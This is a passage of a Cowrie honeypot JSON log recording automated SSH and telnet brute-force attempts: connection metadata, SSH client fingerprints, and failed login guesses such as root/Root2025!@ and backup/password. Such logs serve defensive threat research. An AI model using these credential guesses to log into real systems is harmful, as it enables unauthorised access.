92-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:16.072534Z","src_ip":"170.80.65.140","session":"b1e765550de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser@123","message":"login attempt [newuser/newuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:16.602511Z","src_ip":"170.80.65.140","session":"b1e765550de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:17.729204Z","src_ip":"170.80.65.140","session":"b1e765550de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":44630,"dst_ip":"159.203.135.109","dst_port":22,"session":"045dbdce98bb","protocol":"ssh","message":"New connection: 85.198.19.241:44630 (159.203.135.109:22) [session: 045dbdce98bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:26.342193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:26.348259Z","src_ip":"85.198.19.241","session":"045dbdce98bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:26.508570Z","src_ip":"85.198.19.241","session":"045dbdce98bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bbc0e1f5205","protocol":"ssh","message":"New connection: 38.148.249.2:45060 (10.17.0.5:22) [session: 6bbc0e1f5205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:30.529250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:30.533549Z","src_ip":"38.148.249.2","session":"6bbc0e1f5205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:30.602259Z","src_ip":"38.148.249.2","session":"6bbc0e1f5205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2025!@","message":"login attempt [root/Root2025!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:30.926163Z","src_ip":"38.148.249.2","session":"6bbc0e1f5205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sal","password":"sal","message":"login attempt [sal/sal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:31.090019Z","src_ip":"85.198.19.241","session":"045dbdce98bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:31.997537Z","src_ip":"38.148.249.2","session":"6bbc0e1f5205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:32.366534Z","src_ip":"85.198.19.241","session":"045dbdce98bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":53802,"dst_ip":"10.17.0.5","dst_port":22,"session":"365d9872bdee","protocol":"ssh","message":"New connection: 43.153.12.68:53802 (10.17.0.5:22) [session: 365d9872bdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:46.844312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:46.848416Z","src_ip":"43.153.12.68","session":"365d9872bdee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:46.917366Z","src_ip":"43.153.12.68","session":"365d9872bdee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2025","message":"login attempt [azureuser/azureuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:47.231508Z","src_ip":"43.153.12.68","session":"365d9872bdee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:48.304326Z","src_ip":"43.153.12.68","session":"365d9872bdee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":47648,"dst_ip":"10.17.0.5","dst_port":22,"session":"acbe0d7ca3e0","protocol":"ssh","message":"New connection: 91.92.40.13:47648 (10.17.0.5:22) [session: acbe0d7ca3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:49.836387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:50.471105Z","src_ip":"91.92.40.13","session":"acbe0d7ca3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:50.475510Z","src_ip":"91.92.40.13","session":"acbe0d7ca3e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"password","message":"login attempt [backup/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:51.629633Z","src_ip":"91.92.40.13","session":"acbe0d7ca3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:52.808647Z","src_ip":"91.92.40.13","session":"acbe0d7ca3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":43968,"dst_ip":"10.17.0.5","dst_port":22,"session":"59243aad6b29","protocol":"ssh","message":"New connection: 103.216.145.2:43968 (10.17.0.5:22) [session: 59243aad6b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:55.305794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:55.309892Z","src_ip":"103.216.145.2","session":"59243aad6b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:55.505239Z","src_ip":"103.216.145.2","session":"59243aad6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mqm","password":"mqm","message":"login attempt [mqm/mqm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:56.322566Z","src_ip":"103.216.145.2","session":"59243aad6b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8160ffaae58f","protocol":"telnet","message":"New connection: 128.199.8.54:38956 (159.203.135.109:23) [session: 8160ffaae58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:57.110027Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:57.520136Z","src_ip":"103.216.145.2","session":"59243aad6b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43058,"dst_ip":"159.203.135.109","dst_port":23,"session":"0016e3cc1524","protocol":"telnet","message":"New connection: 128.199.8.54:43058 (159.203.135.109:23) [session: 0016e3cc1524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:03.345240Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41504,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a204581e177","protocol":"ssh","message":"New connection: 165.154.137.186:41504 (10.17.0.5:22) [session: 6a204581e177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:07.213204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:07.216670Z","src_ip":"165.154.137.186","session":"6a204581e177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:07.469630Z","src_ip":"165.154.137.186","session":"6a204581e177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55276,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f6dfb296db8","protocol":"ssh","message":"New connection: 165.154.137.186:55276 (10.17.0.5:22) [session: 4f6dfb296db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:07.731601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:07.736213Z","src_ip":"165.154.137.186","session":"4f6dfb296db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:08.013535Z","src_ip":"165.154.137.186","session":"4f6dfb296db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:08.255419Z","src_ip":"165.154.137.186","session":"6a204581e177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:09.215830Z","src_ip":"165.154.137.186","session":"4f6dfb296db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55298,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f56016481ce","protocol":"ssh","message":"New connection: 165.154.137.186:55298 (10.17.0.5:22) [session: 3f56016481ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:09.267463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:09.292306Z","src_ip":"165.154.137.186","session":"3f56016481ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:09.510095Z","src_ip":"165.154.137.186","session":"6a204581e177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:09.531217Z","src_ip":"165.154.137.186","session":"3f56016481ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:10.481536Z","src_ip":"165.154.137.186","session":"4f6dfb296db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:10.576246Z","src_ip":"165.154.137.186","session":"3f56016481ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:11.841354Z","src_ip":"165.154.137.186","session":"3f56016481ce","protocol":"ssh"}
